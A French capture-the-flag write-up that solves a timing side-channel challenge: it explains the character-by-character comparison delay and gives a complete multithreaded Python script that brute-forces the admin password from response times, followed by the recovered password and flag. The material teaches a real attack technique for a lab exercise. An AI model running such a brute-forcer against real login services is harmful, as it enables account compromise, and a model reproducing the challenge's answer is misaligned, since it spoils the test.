Arriveras-tu à trouver le mot de passe de l'admin ?
Charset: abcdefghijklmnopqrstuvwxyz0123456789_
Il y a 0.15s de sleep pour chaque bons chars.
Il est conseillé d'utiliser pwntools afin de résoudre ce challenge.
Connexion: nc vps.ctfrei.fr 5004
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Le titre est assez explicite, il faut regarder le temps de réponse. Le serveur vérifie de gauche à droite, caractère par caractère le mot de passe.
A chaque fois que le serveur passe au caractère suivant, cela ajoute du délai à la réponse, il faut donc tester tous les caractères possibles pour trouver celui qui a le plus gros temps de réponse.
Pour éviter les problèmes de réseaux, il faudra faire plusieurs fois le test pour chaque caractère et ne prendre en compte que la durée la plus basse qu'il aura obtenue, ainsi si un délai inattendu se produit, il sera exclu par les autres tentatives. Ce nombre de tentatives sera nommée retry et on va le fixer à 3, ce qui devrait être suffisant
Enfin, pour ne pas attendre 50 ans, on va multithreadé le tout. Rien de compliqué en soi, on a 37 caractères possibles, on va simplement lancer les 37 en même temps et regardé lequel a mis le plus de temps.
import socket
import time
from threading import Thread
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789_"
HOST = 'vps.ctfrei.fr'
PORT = 5004
RETRY = 3
class Attempt(Thread):
def __init__(self, base_password: str, c: str):
Thread.__init__(self)
# Connexion au serveur
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.connect((HOST, PORT))
# Récupération du premier message inutile
self.client.recv(2048)
# Initialisation de l'état
self.base_password = base_password
self.c = c
self.password = base_password + c
self.duration = None
self.cracked = False
# La fonction lancée quand le thread est démarré
def run(self) -> None:
# On fait plusieurs tentative pour éviter les problèmes de réseaux
for _ in range(RETRY):
self.client.send(f'{self.password}\n'.encode())
start_at = time.time_ns()
data = self.client.recv(2048)
stop_at = time.time_ns()
# Garde la durée la plus petite parmis les tentatives
duration = stop_at - start_at
if self.duration is None or self.duration > duration:
self.duration = duration
# Si par HASARD on nous répond pas Nope... c'est qu'on a envoyé le bon mdp
self.cracked = b"Nope..." not in data
def bruteforce_next_char(base_password: str):
# Liste des tentatives
attempts = []
for c in CHARSET:
# Création d'une tentative
attempt = Attempt(base_password, c)
# La classe Attempt étant un Thread, .start() appelle en réalité .run()
attempt.start()
# Ajout de la tentative à notre liste
attempts.append(attempt)
# On attend que toutes les tentatives se terminent
for attempt in attempts:
attempt.join()
# Si jamais l'une d'elle a cracké le mdp, on la retourne directement
if attempt.cracked:
return attempt
# Trie des tentatives par durée les plus longues
best_attempt = sorted(attempts, key=lambda attempt: attempt.duration, reverse=True)[0]
# Renvoie la tentative avec le plus gros temps de réponse
return best_attempt
def main():
base_password = ''
while True:
# On bruteforce le prochain caractère du mot de passe
best_attempt = bruteforce_next_char(base_password)
# La meilleure tentative devient notre prochaine base
base_password = best_attempt.password
# Si la tentative a cracké le mdp, on sort de la boucle
if best_attempt.cracked:
print(f'Cracked password: {base_password}')
break
else:
# Affiche l'état actuel du mot de passe
print(f'[i] {base_password}')
if __name__ == '__main__':
main()
Il ne reste qu'à se connecter avec le mot de passe pour récupérer le flag
> ncat vps.ctfrei.fr 5004
Prouve moi que tu es l'admin en mettant son mot de passe !
De mémoire il commençait par "4dm1n"...
Retrouve mon flag !
4dm1n_1s_4_5tr0ng_p4ss
Tu es login !
Voici ton flag: CTFREI{t1m3_b4s3d_1s_d0pe_0mg}